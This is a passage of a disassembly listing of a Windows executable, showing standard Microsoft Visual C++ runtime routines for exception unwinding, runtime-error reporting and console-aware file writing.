cmp edx, 0FFFFFFFEh
jz short loc_41401C
cmp esi, edx
jbe short loc_41404A
loc_41401C: ; CODE XREF: sub_413FC8+4Ej
lea esi, [esi+esi*2]
lea ebx, [ebx+esi*4+10h]
mov ecx, [ebx]
mov [eax+0Ch], ecx
cmp dword ptr [ebx+4], 0
jnz short loc_413FFA
push 101h
mov eax, [ebx+8]
call sub_419915
mov ecx, 1
mov eax, [ebx+8]
call sub_419934
jmp short loc_413FFA
; ---------------------------------------------------------------------------
loc_41404A: ; CODE XREF: sub_413FC8+45j
; sub_413FC8+52j
pop large dword ptr fs:0
add esp, 18h
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_414058: ; DATA XREF: sub_413FC8+14o
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41409D
mov eax, [esp+arg_4]
mov ecx, [eax+8]
xor ecx, eax
call sub_410BCD
push ebp
mov ebp, [eax+18h]
push dword ptr [eax+0Ch]
push dword ptr [eax+10h]
push dword ptr [eax+14h]
call sub_413FC8
add esp, 0Ch
pop ebp
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_41409D: ; CODE XREF: sub_413FC8+A0j
retn
sub_413FC8 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
push dword ptr [ecx+1Ch]
push dword ptr [ecx+18h]
push dword ptr [ecx+28h]
call sub_413FC8
add esp, 0Ch
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_4140BA proc near ; CODE XREF: sub_412800+89p
push ebp
push esi
push edi
push ebx
mov ebp, edx
xor eax, eax
xor ebx, ebx
xor edx, edx
xor esi, esi
xor edi, edi
call ecx
pop ebx
pop edi
pop esi
pop ebp
retn
sub_4140BA endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_412800
loc_4140D1: ; CODE XREF: sub_412800+170j
mov ebp, edx
mov esi, ecx
mov eax, ecx
push 1
call sub_419915
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
xor edi, edi
jmp esi
; END OF FUNCTION CHUNK FOR sub_412800
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4140EA proc near ; CODE XREF: sub_412800+11Fp
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0
push 0
push offset loc_4140FF
push ecx
call sub_41AE3E ; RtlUnwind
loc_4140FF: ; DATA XREF: sub_4140EA+Ao
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4140EA endp
; =============== S U B R O U T I N E =======================================
sub_414104 proc near ; CODE XREF: sub_412800+137p
; sub_412800+18Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebp
mov ebp, [esp+4+arg_0]
push edx
push ecx
push [esp+0Ch+arg_4]
call sub_413FC8
add esp, 0Ch
pop ebp
retn 8
sub_414104 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=2A8h
sub_41411B proc near ; CODE XREF: sub_40FB38+25j
; sub_416A48:loc_416A76p
var_5DC = dword ptr -5DCh
var_5D8 = dword ptr -5D8h
var_328 = dword ptr -328h
var_31C = dword ptr -31Ch
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_244 = word ptr -244h
var_240 = word ptr -240h
var_23C = word ptr -23Ch
var_238 = word ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = word ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = word ptr -208h
var_4 = dword ptr -4
push ebp
lea ebp, [esp-2A8h]
sub esp, 328h
mov eax, dword_4231C4
xor eax, ebp
mov [ebp+2A8h+var_4], eax
test byte ptr dword_423B20, 1
push esi
jz short loc_414148
push 0Ah
call sub_41422C
pop ecx
loc_414148: ; CODE XREF: sub_41411B+23j
call sub_4180EB
test eax, eax
jz short loc_414159
push 16h
call sub_4180F8
pop ecx
loc_414159: ; CODE XREF: sub_41411B+34j
test byte ptr dword_423B20, 2
jz loc_414206
mov [ebp+2A8h+var_220], eax
mov [ebp+2A8h+var_224], ecx
mov [ebp+2A8h+var_228], edx
mov [ebp+2A8h+var_22C], ebx
mov [ebp+2A8h+var_230], esi
mov [ebp+2A8h+var_234], edi
mov [ebp+2A8h+var_208], ss
mov [ebp+2A8h+var_214], cs
mov [ebp+2A8h+var_238], ds
mov [ebp+2A8h+var_23C], es
mov [ebp+2A8h+var_240], fs
mov [ebp+2A8h+var_244], gs
pushf
pop [ebp+2A8h+var_210]
mov esi, [ebp+2ACh]
lea eax, [ebp+2ACh]
mov [ebp+2A8h+var_20C], eax
mov [ebp+2A8h+var_2D0], 10001h
mov [ebp+2A8h+var_218], esi
mov eax, [eax-4]
push 50h
mov [ebp+2A8h+var_21C], eax
lea eax, [ebp+2A8h+var_328]
push 0
push eax
call sub_40DD10
lea eax, [ebp+2A8h+var_328]
add esp, 0Ch
mov [ebp+2A8h+var_2D8], eax
lea eax, [ebp+2A8h+var_2D0]
push 0
mov [ebp+2A8h+var_328], 40000015h
mov [ebp+2A8h+var_31C], esi
mov [ebp+2A8h+var_2D4], eax
call dword_41C110 ; SetUnhandledExceptionFilter
lea eax, [ebp+2A8h+var_2D8]
push eax
call dword_41C10C ; UnhandledExceptionFilter
loc_414206: ; CODE XREF: sub_41411B+45j
push 3
call sub_412726
int 3 ; Trap to Debugger
loc_41420E: ; CODE XREF: sub_40FB38+1Dp
mov ecx, [esp+338h+var_5D8]
mov eax, dword_423B20
mov edx, [esp+338h+var_5DC]
and edx, [esp+338h+var_5D8]
not ecx
and ecx, eax
or ecx, edx
mov dword_423B20, ecx
retn
sub_41411B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41422C proc near ; CODE XREF: sub_40FB38+14p
; sub_41056D+12p ...
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
push ebx
mov ebx, [esp+8+arg_0]
push esi
push edi
xor esi, esi
xor edi, edi
loc_414238: ; CODE XREF: sub_41422C+19j
cmp ebx, dword_423B28[edi*8]
jz short loc_414247
inc edi
cmp edi, 17h
jl short loc_414238
loc_414247: ; CODE XREF: sub_41422C+13j
cmp edi, 17h
jnb loc_4143C7
push ebp
push 3
call sub_419AD5
cmp eax, 1
pop ecx
jz loc_414393
push 3
call sub_419AD5
test eax, eax
pop ecx
jnz short loc_41427B
cmp dword_4231A0, 1
jz loc_414393
loc_41427B: ; CODE XREF: sub_41422C+40j
cmp ebx, 0FCh
jz loc_4143C6
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
mov ebx, 314h
push ebx
mov ebp, offset dword_424450
push ebp
call sub_410FB5
add esp, 0Ch
test eax, eax
jz short loc_4142B1
push esi
push esi
push esi
push esi
push esi
call sub_40DBDC
add esp, 14h
loc_4142B1: ; CODE XREF: sub_41422C+76j
push 104h
mov esi, offset byte_424469
push esi
push 0
mov byte_42456D, 0
call dword_41C0C0 ; GetModuleFileNameA
test eax, eax
jnz short loc_4142F5
push offset aProgramNameUnk ; "<program name unknown>"
push 2FBh
push esi
call sub_410FB5
add esp, 0Ch
test eax, eax
jz short loc_4142F5
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call sub_40DBDC
add esp, 14h
loc_4142F5: ; CODE XREF: sub_41422C+A1j
; sub_41422C+B8j
push esi
call sub_40D970
inc eax
cmp eax, 3Ch
pop ecx
jbe short loc_41433A
push esi
call sub_40D970
sub esi, 3Bh
add eax, esi
push 3
mov ecx, offset dword_424764
push offset a___ ; "..."
sub ecx, eax
push ecx
push eax
call sub_412B40
add esp, 14h
test eax, eax
jz short loc_41433A
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call sub_40DBDC
add esp, 14h
jmp short loc_41433C
; ---------------------------------------------------------------------------
loc_41433A: ; CODE XREF: sub_41422C+D4j
; sub_41422C+FBj
xor esi, esi
loc_41433C: ; CODE XREF: sub_41422C+10Cj
push offset asc_41CDC0 ; "\n\n"
push ebx
push ebp
call sub_41889F
add esp, 0Ch
test eax, eax
jz short loc_41435C
push esi
push esi
push esi
push esi
push esi
call sub_40DBDC
add esp, 14h
loc_41435C: ; CODE XREF: sub_41422C+121j
push off_423B2C[edi*8]
push ebx
push ebp
call sub_41889F
add esp, 0Ch
test eax, eax
jz short loc_41437E
push esi
push esi
push esi
push esi
push esi
call sub_40DBDC
add esp, 14h
loc_41437E: ; CODE XREF: sub_41422C+143j
push 12010h
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push ebp
call sub_419937
add esp, 0Ch
jmp short loc_4143C6
; ---------------------------------------------------------------------------
loc_414393: ; CODE XREF: sub_41422C+30j
; sub_41422C+49j
push 0FFFFFFF4h
call dword_41C180 ; GetStdHandle
mov ebp, eax
cmp ebp, esi
jz short loc_4143C6
cmp ebp, 0FFFFFFFFh
jz short loc_4143C6
push 0
lea eax, [esp+18h+var_4]
push eax
lea esi, ds:423B2Ch[edi*8]
push dword ptr [esi]
call sub_40D970
pop ecx
push eax
push dword ptr [esi]
push ebp
call dword_41C17C ; WriteFile
loc_4143C6: ; CODE XREF: sub_41422C+55j
; sub_41422C+165j ...
pop ebp
loc_4143C7: ; CODE XREF: sub_41422C+1Ej
pop edi
pop esi
pop ebx
pop ecx
retn
sub_41422C endp
; =============== S U B R O U T I N E =======================================
sub_4143CC proc near ; CODE XREF: sub_41056D+9p
; sub_411069+23p ...
push 3
call sub_419AD5
cmp eax, 1
pop ecx
jz short loc_4143EE
push 3
call sub_419AD5
test eax, eax
pop ecx
jnz short locret_414404
cmp dword_4231A0, 1
jnz short locret_414404
loc_4143EE: ; CODE XREF: sub_4143CC+Bj
push 0FCh
call sub_41422C
push 0FFh
call sub_41422C
pop ecx
pop ecx
locret_414404: ; CODE XREF: sub_4143CC+17j
; sub_4143CC+20j
retn
sub_4143CC endp
; =============== S U B R O U T I N E =======================================
sub_414405 proc near ; CODE XREF: sub_412755+1Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_42476C, eax
retn
sub_414405 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=518h
sub_41440F proc near ; CODE XREF: sub_4149D5+9Ap
; sub_41A3FB+BBp
var_594 = dword ptr -594h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_588 = dword ptr -588h
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_578 = dword ptr -578h
var_574 = dword ptr -574h
var_56D = byte ptr -56Dh
var_56C = dword ptr -56Ch
var_568 = dword ptr -568h
var_564 = byte ptr -564h
var_410 = byte ptr -410h
var_160 = byte ptr -160h
var_C = byte ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
lea ebp, [esp-518h]
sub esp, 594h
mov eax, dword_4231C4
xor eax, ebp
mov [ebp+518h+var_4], eax
mov eax, [ebp+518h+arg_4]
push esi
xor esi, esi
cmp [ebp+518h+arg_8], esi
mov [ebp+518h+var_57C], eax
mov [ebp+518h+var_578], esi
mov [ebp+518h+var_580], esi
jnz short loc_41444B
xor eax, eax
jmp loc_4149BF
; ---------------------------------------------------------------------------
loc_41444B: ; CODE XREF: sub_41440F+33j
cmp eax, esi
jnz short loc_414476
call sub_40F7B1
mov [eax], esi
call sub_40F79E
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
or eax, 0FFFFFFFFh
jmp loc_4149BF
; ---------------------------------------------------------------------------
loc_414476: ; CODE XREF: sub_41440F+3Ej
mov esi, [ebp+518h+arg_0]
push ebx
mov ebx, esi
and ebx, 1Fh
imul ebx, 28h
mov eax, esi
sar eax, 5
push edi
lea edi, ds:424EE0h[eax*4]
mov eax, [edi]
add eax, ebx
mov cl, [eax+24h]
add cl, cl
sar cl, 1
cmp cl, 2
mov [ebp+518h+var_588], edi
mov [ebp+518h+var_56D], cl
jz short loc_4144AD
cmp cl, 1
jnz short loc_4144E0
loc_4144AD: ; CODE XREF: sub_41440F+97j
mov ecx, [ebp+518h+arg_8]
not ecx
test cl, 1
jnz short loc_4144E0
call sub_40F7B1
xor esi, esi
mov [eax], esi
call sub_40F79E
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
jmp loc_4149B5
; ---------------------------------------------------------------------------
loc_4144E0: ; CODE XREF: sub_41440F+9Cj
; sub_41440F+A9j
test byte ptr [eax+4], 20h
jz short loc_4144F5
push 2
push 0
push 0
push esi
call sub_4178D6
add esp, 10h
loc_4144F5: ; CODE XREF: sub_41440F+D5j
push esi
call sub_417AB6
test eax, eax
pop ecx
jz loc_4146FA
mov eax, [edi]
test byte ptr [ebx+eax+4], 80h
jz loc_4146FA
call sub_411FFD
mov eax, [eax+6Ch]
xor ecx, ecx
cmp [eax+14h], ecx
lea eax, [ebp+518h+var_594]
setz cl
push eax
mov eax, [edi]
push dword ptr [ebx+eax]
mov esi, ecx
call dword_41C188 ; GetConsoleMode
test eax, eax
jz loc_4146FA
test esi, esi
jz short loc_414548
cmp [ebp+518h+var_56D], 0
jz loc_4146FA
loc_414548: ; CODE XREF: sub_41440F+12Dj
call dword_41C184 ; GetConsoleCP
and [ebp+518h+var_568], 0
cmp [ebp+518h+arg_8], 0
mov esi, [ebp+518h+var_57C]
mov [ebp+518h+var_594], eax
mov [ebp+518h+var_58C], esi
jbe loc_414967
and [ebp+518h+var_574], 0
jmp short loc_414571
; ---------------------------------------------------------------------------
loc_41456E: ; CODE XREF: sub_41440F+2E0j
mov esi, [ebp+518h+var_58C]
loc_414571: ; CODE XREF: sub_41440F+15Dj
mov al, [ebp+518h+var_56D]
test al, al
jnz loc_414682
mov al, [esi]
xor ecx, ecx
cmp al, 0Ah
setz cl
movsx eax, al
push eax
mov [ebp+518h+var_590], ecx
call sub_4139BE
test eax, eax
pop ecx
jnz short loc_4145B0
push 1
lea eax, [ebp+518h+var_56C]
push esi
push eax
call sub_419CF0
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_41495D
jmp short loc_4145E0
; ---------------------------------------------------------------------------
loc_4145B0: ; CODE XREF: sub_41440F+185j
mov eax, [ebp+518h+var_57C]
sub eax, esi
add eax, [ebp+518h+arg_8]
cmp eax, 1
jbe loc_41495D
push 2
lea eax, [ebp+518h+var_56C]
push esi
push eax
call sub_419CF0
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_41495D
inc esi
inc [ebp+518h+var_574]
loc_4145E0: ; CODE XREF: sub_41440F+19Fj
xor eax, eax
push eax
push eax
push 5
lea ecx, [ebp+518h+var_C]
push ecx
push 1
lea ecx, [ebp+518h+var_56C]
push ecx
push eax
push [ebp+518h+var_594]
inc esi
inc [ebp+518h+var_574]
mov [ebp+518h+var_58C], esi
call dword_41C170 ; WideCharToMultiByte
mov esi, eax
test esi, esi
jz loc_41495D
push 0
lea eax, [ebp+518h+var_568]
push eax
push esi
lea eax, [ebp+518h+var_C]
push eax
mov eax, [edi]
push dword ptr [ebx+eax]
call dword_41C17C ; WriteFile
test eax, eax
jz loc_414954
mov eax, [ebp+518h+var_568]
add [ebp+518h+var_578], eax
cmp eax, esi
jl loc_41495D
cmp [ebp+518h+var_590], 0
jz loc_4146E6
push 0
lea eax, [ebp+518h+var_568]
push eax
push 1
lea eax, [ebp+518h+var_C]
push eax
mov eax, [edi]
mov [ebp+518h+var_C], 0Dh
push dword ptr [ebx+eax]
call dword_41C17C ; WriteFile
test eax, eax
jz loc_414954
cmp [ebp+518h+var_568], 1
jl loc_41495D
inc [ebp+518h+var_580]
inc [ebp+518h+var_578]
jmp short loc_4146E6
; ---------------------------------------------------------------------------
loc_414682: ; CODE XREF: sub_41440F+167j
cmp al, 1
jz short loc_41468A
cmp al, 2
jnz short loc_4146A5
loc_41468A: ; CODE XREF: sub_41440F+275j
movzx ecx, word ptr [esi]
xor edx, edx
cmp cx, 0Ah
setz dl
inc esi
inc esi
add [ebp+518h+var_574], 2
mov [ebp+518h+var_56C], ecx
mov [ebp+518h+var_58C], esi
mov [ebp+518h+var_590], edx
loc_4146A5: ; CODE XREF: sub_41440F+279j
cmp al, 1
jz short loc_4146AD
cmp al, 2
jnz short loc_4146E6
loc_4146AD: ; CODE XREF: sub_41440F+298j
push [ebp+518h+var_56C]
call sub_419B1B
cmp ax, word ptr [ebp+518h+var_56C]
pop ecx
jnz loc_414954
inc [ebp+518h+var_578]
cmp [ebp+518h+var_590], 0
jz short loc_4146E6
push 0Dh
pop eax
push eax
mov [ebp+518h+var_56C], eax
call sub_419B1B
cmp ax, word ptr [ebp+518h+var_56C]
pop ecx
jnz loc_414954
inc [ebp+518h+var_578]
inc [ebp+518h+var_580]
loc_4146E6: ; CODE XREF: sub_41440F+232j
; sub_41440F+271j ...
mov eax, [ebp+518h+arg_8]
cmp [ebp+518h+var_574], eax
jb loc_41456E
jmp loc_41495D
; ---------------------------------------------------------------------------
loc_4146FA: ; CODE XREF: sub_41440F+EFj
; sub_41440F+FCj ...
mov eax, [edi]
add eax, ebx
test byte ptr [eax+4], 80h
jz loc_41492D
mov eax, [ebp+518h+var_57C]
xor esi, esi
cmp [ebp+518h+var_56D], 0
mov [ebp+518h+var_56C], esi
jnz loc_4147AB
cmp [ebp+518h+arg_8], esi
mov [ebp+518h+var_568], eax
jbe loc_41498E
loc_414729: ; CODE XREF: sub_41440F+395j
mov ecx, [ebp+518h+var_568]
and [ebp+518h+var_574], 0
sub ecx, [ebp+518h+var_57C]
lea eax, [ebp+518h+var_564]
loc_414736: ; CODE XREF: sub_41440F+354j
cmp ecx, [ebp+518h+arg_8]
jnb short loc_414765
mov edx, [ebp+518h+var_568]
inc [ebp+518h+var_568]
mov dl, [edx]
inc ecx
cmp dl, 0Ah
jnz short loc_414756
inc [ebp+518h+var_580]
mov byte ptr [eax], 0Dh
inc eax
inc [ebp+518h+var_574]
loc_414756: ; CODE XREF: sub_41440F+33Bj
mov [eax], dl
inc eax
inc [ebp+518h+var_574]
cmp [ebp+518h+var_574], 400h
jb short loc_414736
loc_414765: ; CODE XREF: sub_41440F+32Dj
mov esi, eax
lea eax, [ebp+518h+var_564]
sub esi, eax
push 0
lea eax, [ebp+518h+var_584]
push eax
push esi
lea eax, [ebp+518h+var_564]
push eax
mov eax, [edi]
push dword ptr [ebx+eax]
call dword_41C17C ; WriteFile
test eax, eax
jz loc_414954
mov eax, [ebp+518h+var_584]
add [ebp+518h+var_578], eax
cmp eax, esi
jl loc_41495D
mov eax, [ebp+518h+var_568]
sub eax, [ebp+518h+var_57C]
cmp eax, [ebp+518h+arg_8]
jb short loc_414729
jmp loc_41495D
; ---------------------------------------------------------------------------
loc_4147AB: ; CODE XREF: sub_41440F+305j
cmp [ebp+518h+var_56D], 2
jnz loc_414852
cmp [ebp+518h+arg_8], esi
mov [ebp+518h+var_568], eax
jbe loc_41498E
loc_4147C4: ; CODE XREF: sub_41440F+438j
mov ecx, [ebp+518h+var_568]
xor esi, esi
sub ecx, [ebp+518h+var_57C]
lea eax, [ebp+518h+var_564]
loc_4147CF: ; CODE XREF: sub_41440F+3F7j
cmp ecx, [ebp+518h+arg_8]
jnb short loc_414808
mov edx, [ebp+518h+var_568]
add [ebp+518h+var_568], 2
movzx edx, word ptr [edx]
inc ecx
inc ecx
cmp dx, 0Ah
jnz short loc_4147F6
add [ebp+518h+var_580], 2
mov word ptr [eax], 0Dh
inc eax
inc eax
inc esi
inc esi
loc_4147F6: ; CODE XREF: sub_41440F+3D8j
mov edi, [ebp+518h+var_588]
mov [eax], dx
inc eax
inc eax
inc esi
inc esi
cmp esi, 3FFh
jb short loc_4147CF
loc_414808: ; CODE XREF: sub_41440F+3C6j
mov esi, eax
lea eax, [ebp+518h+var_564]
sub esi, eax
push 0
lea eax, [ebp+518h+var_584]
push eax
push esi
lea eax, [ebp+518h+var_564]
push eax
mov eax, [edi]
push dword ptr [ebx+eax]
call dword_41C17C ; WriteFile
test eax, eax
jz loc_414954
mov eax, [ebp+518h+var_584]
add [ebp+518h+var_578], eax
cmp eax, esi
jl loc_41495D
mov eax, [ebp+518h+var_568]
sub eax, [ebp+518h+var_57C]
cmp eax, [ebp+518h+arg_8]
jb loc_4147C4
jmp loc_41495D
; ---------------------------------------------------------------------------
loc_414852: ; CODE XREF: sub_41440F+3A0j
cmp [ebp+518h+arg_8], esi
mov [ebp+518h+var_574], eax
jbe loc_41498E
loc_414861: ; CODE XREF: sub_41440F+516j
mov ecx, [ebp+518h+var_574]
and [ebp+518h+var_568], 0
sub ecx, [ebp+518h+var_57C]
push 2
lea eax, [ebp+518h+var_160]
pop esi
loc_414874: ; CODE XREF: sub_41440F+497j
cmp ecx, [ebp+518h+arg_8]
jnb short loc_4148A8
mov edx, [ebp+518h+var_574]
movzx edx, word ptr [edx]
add [ebp+518h+var_574], esi
add ecx, esi
cmp dx, 0Ah
jnz short loc_414897
mov word ptr [eax], 0Dh
add eax, esi
add [ebp+518h+var_568], esi
loc_414897: ; CODE XREF: sub_41440F+47Cj
add [ebp+518h+var_568], esi
mov [eax], dx
add eax, esi
cmp [ebp+518h+var_568], 152h
jb short loc_414874
loc_4148A8: ; CODE XREF: sub_41440F+46Bj
xor esi, esi
push esi
push esi
push 2ABh
lea ecx, [ebp+518h+var_410]
push ecx
lea ecx, [ebp+518h+var_160]
sub eax, ecx
cdq
sub eax, edx
sar eax, 1
push eax
mov eax, ecx
push eax
push esi
push 0FDE9h
call dword_41C170 ; WideCharToMultiByte
mov edi, eax
cmp edi, esi
jz short loc_414954
loc_4148DB: ; CODE XREF: sub_41440F+4F6j
push 0
lea eax, [ebp+518h+var_584]
push eax
mov eax, edi
sub eax, esi
push eax
lea eax, [ebp+esi+518h+var_410]
push eax
mov eax, [ebp+518h+var_588]
mov eax, [eax]
push dword ptr [ebx+eax]
call dword_41C17C ; WriteFile
test eax, eax
jz short loc_414909
add esi, [ebp+518h+var_584]
cmp edi, esi
jg short loc_4148DB
jmp short loc_414912
; ---------------------------------------------------------------------------
loc_414909: ; CODE XREF: sub_41440F+4EFj
call dword_41C0A4 ; RtlGetLastWin32Error
mov [ebp+518h+var_56C], eax
loc_414912: ; CODE XREF: sub_41440F+4F8j
cmp edi, esi
jg short loc_41495D
mov eax, [ebp+518h+var_574]
sub eax, [ebp+518h+var_57C]
cmp eax, [ebp+518h+arg_8]
mov [ebp+518h+var_578], eax
jb loc_414861
jmp short loc_41495D
; ---------------------------------------------------------------------------
loc_41492D: ; CODE XREF: sub_41440F+2F3j
push 0
lea ecx, [ebp+518h+var_584]
push ecx
push [ebp+518h+arg_8]
push [ebp+518h+var_57C]
push dword ptr [eax]
call dword_41C17C ; WriteFile
test eax, eax
jz short loc_414954
mov eax, [ebp+518h+var_584]
and [ebp+518h+var_56C], 0
mov [ebp+518h+var_578], eax
jmp short loc_41495D
; ---------------------------------------------------------------------------
loc_414954: ; CODE XREF: sub_41440F+21Aj
; sub_41440F+25Bj ...
call dword_41C0A4 ; RtlGetLastWin32Error
mov [ebp+518h+var_56C], eax
loc_41495D: ; CODE XREF: sub_41440F+199j
; sub_41440F+1AFj ...
mov eax, [ebp+518h+var_578]
test eax, eax
jnz short loc_4149BA
mov edi, [ebp+518h+var_588]
loc_414967: ; CODE XREF: sub_41440F+153j
xor esi, esi
cmp [ebp+518h+var_56C], esi
jz short loc_41498E
push 5
pop esi
cmp [ebp+518h+var_56C], esi
jnz short loc_414983
call sub_40F79E
mov dword ptr [eax], 9
jmp short loc_4149AE
; ---------------------------------------------------------------------------
loc_414983: ; CODE XREF: sub_41440F+565j
push [ebp+518h+var_56C]
call sub_40F7C4
pop ecx
jmp short loc_4149B5
; ---------------------------------------------------------------------------
loc_41498E: ; CODE XREF: sub_41440F+314j
; sub_41440F+3AFj ...
mov eax, [edi]
test byte ptr [ebx+eax+4], 40h
jz short loc_4149A3
mov eax, [ebp+518h+var_57C]
cmp byte ptr [eax], 1Ah
jnz short loc_4149A3
xor eax, eax
jmp short loc_4149BD
; ---------------------------------------------------------------------------
loc_4149A3: ; CODE XREF: sub_41440F+586j
; sub_41440F+58Ej
call sub_40F79E
mov dword ptr [eax], 1Ch
loc_4149AE: ; CODE XREF: sub_41440F+572j
call sub_40F7B1
mov [eax], esi
loc_4149B5: ; CODE XREF: sub_41440F+CCj
; sub_41440F+57Dj
or eax, 0FFFFFFFFh
jmp short loc_4149BD
; ---------------------------------------------------------------------------
loc_4149BA: ; CODE XREF: sub_41440F+553j
sub eax, [ebp+518h+var_580]
loc_4149BD: ; CODE XREF: sub_41440F+592j
; sub_41440F+5A9j
pop edi
pop ebx
loc_4149BF: ; CODE XREF: sub_41440F+37j
; sub_41440F+62j
mov ecx, [ebp+518h+var_4]
xor ecx, ebp
pop esi
call sub_410BCD
add ebp, 518h
leave
retn
sub_41440F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4149D5 proc near ; CODE XREF: sub_40FB62+ADp
; sub_4111BA+CBp ...
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push 10h
push offset dword_41FAB0
call __SEH_prolog4
mov eax, [ebp+arg_0]
cmp eax, 0FFFFFFFEh
jnz short loc_414A04
call sub_40F7B1
and dword ptr [eax], 0
call sub_40F79E
mov dword ptr [eax], 9
loc_4149FC: ; CODE XREF: sub_4149D5+5Cj
or eax, 0FFFFFFFFh
jmp loc_414AA1
; ---------------------------------------------------------------------------
loc_414A04: ; CODE XREF: sub_4149D5+12j
xor edi, edi
cmp eax, edi
jl short loc_414A12
cmp eax, dword_424EC8
jb short loc_414A33
loc_414A12: ; CODE XREF: sub_4149D5+33j
; sub_4149D5+7Cj
call sub_40F7B1
mov [eax], edi
call sub_40F79E
mov dword ptr [eax], 9
push edi
push edi
push edi
push edi
push edi
call sub_40DCD8
add esp, 14h
jmp short loc_4149FC
; ---------------------------------------------------------------------------
loc_414A33: ; CODE XREF: sub_4149D5+3Bj
mov ecx, eax
sar ecx, 5
lea ebx, ds:424EE0h[ecx*4]
mov esi, eax
and esi, 1Fh
imul esi, 28h
mov ecx, [ebx]
movzx ecx, byte ptr [ecx+esi+4]
and ecx, 1
jz short loc_414A12
push eax
call sub_419E76
pop ecx
mov [ebp+ms_exc.disabled], edi
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_414A7C
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41440F
add esp, 0Ch
mov [ebp+var_1C], eax
jmp short loc_414A92
; ---------------------------------------------------------------------------
loc_414A7C: ; CODE XREF: sub_4149D5+8Fj
call sub_40F79E
mov dword ptr [eax], 9
call sub_40F7B1
mov [eax], edi
or [ebp+var_1C], 0FFFFFFFFh
loc_414A92: ; CODE XREF: sub_4149D5+A5j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_414AA7
mov eax, [ebp+var_1C]
loc_414AA1: ; CODE XREF: sub_4149D5+2Aj
call __SEH_epilog4
retn
sub_4149D5 endp
; =============== S U B R O U T I N E =======================================
sub_414AA7 proc near ; CODE XREF: sub_4149D5+C4p
; DATA XREF: .vty:0041FAC8o
push dword ptr [ebp+8]
call sub_419F16
pop ecx
retn
sub_414AA7 endp
; =============== S U B R O U T I N E =======================================
sub_414AB1 proc near ; CODE XREF: sub_40FB62+A6p
; sub_40FD09+42p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
xor esi, esi
cmp eax, esi
jnz short loc_414AD9
call sub_40F79E
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_414AD9: ; CODE XREF: sub_414AB1+9j
mov eax, [eax+10h]
pop esi
retn
sub_414AB1 endp
; =============== S U B R O U T I N E =======================================
sub_414ADE proc near ; CODE XREF: sub_40FB62+86p
; sub_40FD09+34p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
mov eax, [esi+0Ch]
mov ecx, eax
and cl, 3
xor ebx, ebx
cmp cl, 2
jnz short loc_414B32
test ax, 108h
jz short loc_414B32
mov eax, [esi+8]
push edi
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_414B31
push edi
push eax
push esi
call sub_414AB1
pop ecx
push eax
call sub_4149D5
add esp, 0Ch
cmp eax, edi
jnz short loc_414B2A
mov eax, [esi+0Ch]
test al, al
jns short loc_414B31
and eax, 0FFFFFFFDh
mov [esi+0Ch], eax
jmp short loc_414B31
; ---------------------------------------------------------------------------
loc_414B2A: ; CODE XREF: sub_414ADE+3Bj
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_414B31: ; CODE XREF: sub_414ADE+25j
; sub_414ADE+42j ...
pop edi
loc_414B32: ; CODE XREF: sub_414ADE+13j
; sub_414ADE+19j
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop esi
mov eax, ebx
pop ebx
retn
sub_414ADE endp
; =============== S U B R O U T I N E =======================================
sub_414B40 proc near ; CODE XREF: sub_414B82+69p
; sub_414B82+84p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_414B52
push esi
call sub_414B82
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
